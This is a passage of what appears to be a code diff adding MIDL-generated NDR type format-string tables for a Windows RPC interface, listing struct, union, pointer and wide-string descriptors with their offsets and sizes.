Offset= 2 (3538) */ +/* 3538 */ 0xb1, /* FC_FORCED_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 3540 */ NdrFcShort( 0x18 ), /* 24 */ +/* 3542 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3544 */ NdrFcShort( 0x0 ), /* Offset= 0 (3544) */ +/* 3546 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3548 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3550 */ 0xb, /* FC_HYPER */ + 0x5b, /* FC_END */ +/* 3552 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3554 */ NdrFcShort( 0x10 ), /* 16 */ +/* 3556 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3558 */ NdrFcShort( 0x0 ), /* Offset= 0 (3558) */ +/* 3560 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3562 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3564 */ NdrFcShort( 0xffcc ), /* Offset= -52 (3512) */ +/* 3566 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3568 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 3570 */ NdrFcShort( 0x2 ), /* Offset= 2 (3572) */ +/* 3572 */ + 0x12, 0x0, /* FC_UP */ +/* 3574 */ NdrFcShort( 0xb2 ), /* Offset= 178 (3752) */ +/* 3576 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 3578 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 3580 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 3582 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3584 */ NdrFcShort( 0x2 ), /* Offset= 2 (3586) */ +/* 3586 */ NdrFcShort( 0x8 ), /* 8 */ +/* 3588 */ NdrFcShort( 0x5 ), /* 5 */ +/* 3590 */ NdrFcLong( 0x1 ), /* 1 */ +/* 3594 */ NdrFcShort( 0x1c ), /* Offset= 28 (3622) */ +/* 3596 */ NdrFcLong( 0x2 ), /* 2 */ +/* 3600 */ NdrFcShort( 0x38 ), /* Offset= 56 (3656) */ +/* 3602 */ NdrFcLong( 0x3 ), /* 3 */ +/* 3606 */ NdrFcShort( 0x46 ), /* Offset= 70 (3676) */ +/* 3608 */ NdrFcLong( 0x4 ), /* 4 */ +/* 3612 */ NdrFcShort( 0x54 ), /* Offset= 84 (3696) */ +/* 3614 */ NdrFcLong( 0x5 ), /* 5 */ +/* 3618 */ NdrFcShort( 0x72 ), /* Offset= 114 (3732) */ +/* 3620 */ NdrFcShort( 0xffff ), /* Offset= -1 (3619) */ +/* 3622 */ + 0x12, 0x0, /* FC_UP */ +/* 3624 */ NdrFcShort( 0xe ), /* Offset= 14 (3638) */ +/* 3626 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 3628 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3630 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 3632 */ NdrFcShort( 0x8 ), /* 8 */ +/* 3634 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3636 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 3638 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3640 */ NdrFcShort( 0x18 ), /* 24 */ +/* 3642 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3644 */ NdrFcShort( 0x8 ), /* Offset= 8 (3652) */ +/* 3646 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3648 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3650 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 3652 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 3654 */ NdrFcShort( 0xffe4 ), /* Offset= -28 (3626) */ +/* 3656 */ + 0x12, 0x0, /* FC_UP */ +/* 3658 */ NdrFcShort( 0x2 ), /* Offset= 2 (3660) */ +/* 3660 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3662 */ NdrFcShort( 0x20 ), /* 32 */ +/* 3664 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3666 */ NdrFcShort( 0x0 ), /* Offset= 0 (3666) */ +/* 3668 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3670 */ NdrFcShort( 0xffe0 ), /* Offset= -32 (3638) */ +/* 3672 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3674 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3676 */ + 0x12, 0x0, /* FC_UP */ +/* 3678 */ NdrFcShort( 0x2 ), /* Offset= 2 (3680) */ +/* 3680 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3682 */ NdrFcShort( 0x28 ), /* 40 */ +/* 3684 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3686 */ NdrFcShort( 0x0 ), /* Offset= 0 (3686) */ +/* 3688 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3690 */ NdrFcShort( 0xffe2 ), /* Offset= -30 (3660) */ +/* 3692 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3694 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3696 */ + 0x12, 0x0, /* FC_UP */ +/* 3698 */ NdrFcShort( 0xe ), /* Offset= 14 (3712) */ +/* 3700 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 3702 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3704 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 3706 */ NdrFcShort( 0x2c ), /* 44 */ +/* 3708 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3710 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 3712 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3714 */ NdrFcShort( 0x38 ), /* 56 */ +/* 3716 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3718 */ NdrFcShort( 0xa ), /* Offset= 10 (3728) */ +/* 3720 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3722 */ NdrFcShort( 0xffd6 ), /* Offset= -42 (3680) */ +/* 3724 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3726 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 3728 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 3730 */ NdrFcShort( 0xffe2 ), /* Offset= -30 (3700) */ +/* 3732 */ + 0x12, 0x0, /* FC_UP */ +/* 3734 */ NdrFcShort( 0x2 ), /* Offset= 2 (3736) */ +/* 3736 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3738 */ NdrFcShort( 0x40 ), /* 64 */ +/* 3740 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3742 */ NdrFcShort( 0x0 ), /* Offset= 0 (3742) */ +/* 3744 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3746 */ NdrFcShort( 0xffde ), /* Offset= -34 (3712) */ +/* 3748 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3750 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3752 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3754 */ NdrFcShort( 0x10 ), /* 16 */ +/* 3756 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3758 */ NdrFcShort( 0x0 ), /* Offset= 0 (3758) */ +/* 3760 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3762 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3764 */ NdrFcShort( 0xff44 ), /* Offset= -188 (3576) */ +/* 3766 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3768 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 3770 */ NdrFcShort( 0x2 ), /* Offset= 2 (3772) */ +/* 3772 */ + 0x15, /* FC_STRUCT */ + 0x3, /* 3 */ +/* 3774 */ NdrFcShort( 0x10 ), /* 16 */ +/* 3776 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3778 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3780 */ NdrFcShort( 0xf1ba ), /* Offset= -3654 (126) */ +/* 3782 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3784 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 3786 */ NdrFcShort( 0x2 ), /* Offset= 2 (3788) */ +/* 3788 */ + 0x15, /* FC_STRUCT */ + 0x7, /* 7 */ +/* 3790 */ NdrFcShort( 0x20 ), /* 32 */ +/* 3792 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3794 */ 0xb, /* FC_HYPER */ + 0xb, /* FC_HYPER */ +/* 3796 */ 0xb, /* FC_HYPER */ + 0x5b, /* FC_END */ +/* 3798 */ + 0x11, 0x0, /* FC_RP */ +/* 3800 */ NdrFcShort( 0x2 ), /* Offset= 2 (3802) */ +/* 3802 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3804 */ NdrFcShort( 0x60 ), /* 96 */ +/* 3806 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3808 */ NdrFcShort( 0x18 ), /* Offset= 24 (3832) */ +/* 3810 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3812 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3814 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3816 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 3818 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3820 */ NdrFcShort( 0xf192 ), /* Offset= -3694 (126) */ +/* 3822 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3824 */ 0x40, /* FC_STRUCTPAD4 */ + 0x36, /* FC_POINTER */ +/* 3826 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3828 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3830 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3832 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3834 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3836 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3838 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3840 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3842 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3844 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3846 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3848 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3850 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3852 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3854 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3856 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 3858 */ NdrFcShort( 0x2 ), /* Offset= 2 (3860) */ +/* 3860 */ + 0x12, 0x0, /* FC_UP */ +/* 3862 */ NdrFcShort( 0x2e ), /* Offset= 46 (3908) */ +/* 3864 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 3866 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 3868 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 3870 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 3872 */ NdrFcShort( 0x2 ), /* Offset= 2 (3874) */ +/* 3874 */ NdrFcShort( 0x8 ), /* 8 */ +/* 3876 */ NdrFcShort( 0x1 ), /* 1 */ +/* 3878 */ NdrFcLong( 0x1 ), /* 1 */ +/* 3882 */ NdrFcShort( 0x4 ), /* Offset= 4 (3886) */ +/* 3884 */ NdrFcShort( 0xffff ), /* Offset= -1 (3883) */ +/* 3886 */ + 0x12, 0x0, /* FC_UP */ +/* 3888 */ NdrFcShort( 0x2 ), /* Offset= 2 (3890) */ +/* 3890 */ + 0x15, /* FC_STRUCT */ + 0x7, /* 7 */ +/* 3892 */ NdrFcShort( 0x38 ), /* 56 */ +/* 3894 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3896 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3898 */ 0xb, /* FC_HYPER */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 3900 */ 0x0, /* 0 */ + NdrFcShort( 0xf653 ), /* Offset= -2477 (1424) */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 3904 */ 0x0, /* 0 */ + NdrFcShort( 0xf64f ), /* Offset= -2481 (1424) */ + 0x5b, /* FC_END */ +/* 3908 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3910 */ NdrFcShort( 0x10 ), /* 16 */ +/* 3912 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3914 */ NdrFcShort( 0x0 ), /* Offset= 0 (3914) */ +/* 3916 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 3918 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3920 */ NdrFcShort( 0xffc8 ), /* Offset= -56 (3864) */ +/* 3922 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 3924 */ + 0x11, 0x0, /* FC_RP */ +/* 3926 */ NdrFcShort( 0x2 ), /* Offset= 2 (3928) */ +/* 3928 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 3930 */ NdrFcShort( 0xe0 ), /* 224 */ +/* 3932 */ NdrFcShort( 0x0 ), /* 0 */ +/* 3934 */ NdrFcShort( 0x24 ), /* Offset= 36 (3970) */ +/* 3936 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3938 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 3940 */ NdrFcShort( 0xf11a ), /* Offset= -3814 (126) */ +/* 3942 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 3944 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3946 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3948 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3950 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3952 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3954 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3956 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3958 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3960 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3962 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3964 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3966 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 3968 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 3970 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3972 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3974 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3976 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3978 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3980 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3982 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3984 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3986 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3988 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3990 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3992 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3994 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 3996 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 3998 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4000 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4002 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4004 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4006 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4008 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4010 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4012 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4014 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4016 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4018 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4020 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4022 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4024 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4026 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4028 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4030 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4032 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4034 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4036 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4038 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4040 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4042 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4044 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4046 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4048 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4050 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4052 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4054 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4056 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4058 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4060 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4062 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4064 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4066 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4068 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4070 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 4072 */ NdrFcShort( 0x2 ), /* Offset= 2 (4074) */ +/* 4074 */ + 0x12, 0x0, /* FC_UP */ +/* 4076 */ NdrFcShort( 0x30 ), /* Offset= 48 (4124) */ +/* 4078 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 4080 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 4082 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 4084 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 4086 */ NdrFcShort( 0x2 ), /* Offset= 2 (4088) */ +/* 4088 */ NdrFcShort( 0x8 ), /* 8 */ +/* 4090 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4092 */ NdrFcLong( 0x1 ), /* 1 */ +/* 4096 */ NdrFcShort( 0x4 ), /* Offset= 4 (4100) */ +/* 4098 */ NdrFcShort( 0xffff ), /* Offset= -1 (4097) */ +/* 4100 */ + 0x12, 0x0, /* FC_UP */ +/* 4102 */ NdrFcShort( 0x2 ), /* Offset= 2 (4104) */ +/* 4104 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 4106 */ NdrFcShort( 0x28 ), /* 40 */ +/* 4108 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4110 */ NdrFcShort( 0xa ), /* Offset= 10 (4120) */ +/* 4112 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 4114 */ 0xb, /* FC_HYPER */ + 0x8, /* FC_LONG */ +/* 4116 */ 0x8, /* FC_LONG */ + 0xb, /* FC_HYPER */ +/* 4118 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 4120 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4122 */ 0x5, /* FC_WCHAR */ + 0x5c, /* FC_PAD */ +/* 4124 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 4126 */ NdrFcShort( 0x10 ), /* 16 */ +/* 4128 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4130 */ NdrFcShort( 0x0 ), /* Offset= 0 (4130) */ +/* 4132 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 4134 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 4136 */ NdrFcShort( 0xffc6 ), /* Offset= -58 (4078) */ +/* 4138 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 4140 */ + 0x11, 0x0, /* FC_RP */ +/* 4142 */ NdrFcShort( 0x2 ), /* Offset= 2 (4144) */ +/* 4144 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 4146 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4148 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 4150 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 4152 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 4154 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 4156 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 4158 */ NdrFcShort( 0x2 ), /* Offset= 2 (4160) */ +/* 4160 */ + 0x12, 0x0, /* FC_UP */ +/* 4162 */ NdrFcShort( 0x52 ), /* Offset= 82 (4244) */ +/* 4164 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 4166 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 4168 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 4170 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 4172 */ NdrFcShort( 0x2 ), /* Offset= 2 (4174) */ +/* 4174 */ NdrFcShort( 0x8 ), /* 8 */ +/* 4176 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4178 */ NdrFcLong( 0x1 ), /* 1 */ +/* 4182 */ NdrFcShort( 0x4 ), /* Offset= 4 (4186) */ +/* 4184 */ NdrFcShort( 0xffff ), /* Offset= -1 (4183) */ +/* 4186 */ + 0x12, 0x0, /* FC_UP */ +/* 4188 */ NdrFcShort( 0x1a ), /* Offset= 26 (4214) */ +/* 4190 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 4192 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4194 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 4196 */ NdrFcShort( 0x8 ), /* 8 */ +/* 4198 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 4200 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 4202 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 4204 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4206 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 4208 */ NdrFcShort( 0x18 ), /* 24 */ +/* 4210 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 4212 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 4214 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 4216 */ NdrFcShort( 0x40 ), /* 64 */ +/* 4218 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4220 */ NdrFcShort( 0x10 ), /* Offset= 16 (4236) */ +/* 4222 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 4224 */ 0x40, /* FC_STRUCTPAD4 */ + 0x36, /* FC_POINTER */ +/* 4226 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 4228 */ 0xb, /* FC_HYPER */ + 0x8, /* FC_LONG */ +/* 4230 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 4232 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 4234 */ 0x40, /* FC_STRUCTPAD4 */ + 0x5b, /* FC_END */ +/* 4236 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 4238 */ NdrFcShort( 0xffd0 ), /* Offset= -48 (4190) */ +/* 4240 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 4242 */ NdrFcShort( 0xffd8 ), /* Offset= -40 (4202) */ +/* 4244 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 4246 */ NdrFcShort( 0x10 ), /* 16 */ +/* 4248 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4250 */ NdrFcShort( 0x0 ), /* Offset= 0 (4250) */ +/* 4252 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 4254 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 4256 */ NdrFcShort( 0xffa4 ), /* Offset= -92 (4164) */ +/* 4258 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 4260 */ + 0x11, 0x8, /* FC_RP [simple_pointer] */ +/* 4262 */ 0x5, /* FC_WCHAR */ + 0x5c, /* FC_PAD */ +/* 4264 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 4266 */ NdrFcShort( 0x2 ), /* Offset= 2 (4268) */ +/* 4268 */ + 0x12, 0x0, /* FC_UP */ +/* 4270 */ NdrFcShort( 0x3a ), /* Offset= 58 (4328) */ +/* 4272 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 4274 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 4276 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 4278 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 4280 */ NdrFcShort( 0x2 ), /* Offset= 2 (4282) */ +/* 4282 */ NdrFcShort( 0x8 ), /* 8 */ +/* 4284 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4286 */ NdrFcLong( 0x1 ), /* 1 */ +/* 4290 */ NdrFcShort( 0x4 ), /* Offset= 4 (4294) */ +/* 4292 */ NdrFcShort( 0xffff ), /* Offset= -1 (4291) */ +/* 4294 */ + 0x12, 0x0, /* FC_UP */ +/* 4296 */ NdrFcShort( 0x2 ), /* Offset= 2 (4298) */ +/* 4298 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 4300 */ NdrFcShort( 0x30 ), /* 48 */ +/* 4302 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4304 */ NdrFcShort( 0xc ), /* Offset= 12 (4316) */ +/* 4306 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 4308 */ 0x8, /* FC_LONG */ + 0x36, /* FC_POINTER */ +/* 4310 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 4312 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 4314 */ 0x40, /* FC_STRUCTPAD4 */ + 0x5b, /* FC_END */ +/* 4316 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4318 */ + 0x25, /* FC_C_WSTRING */ + 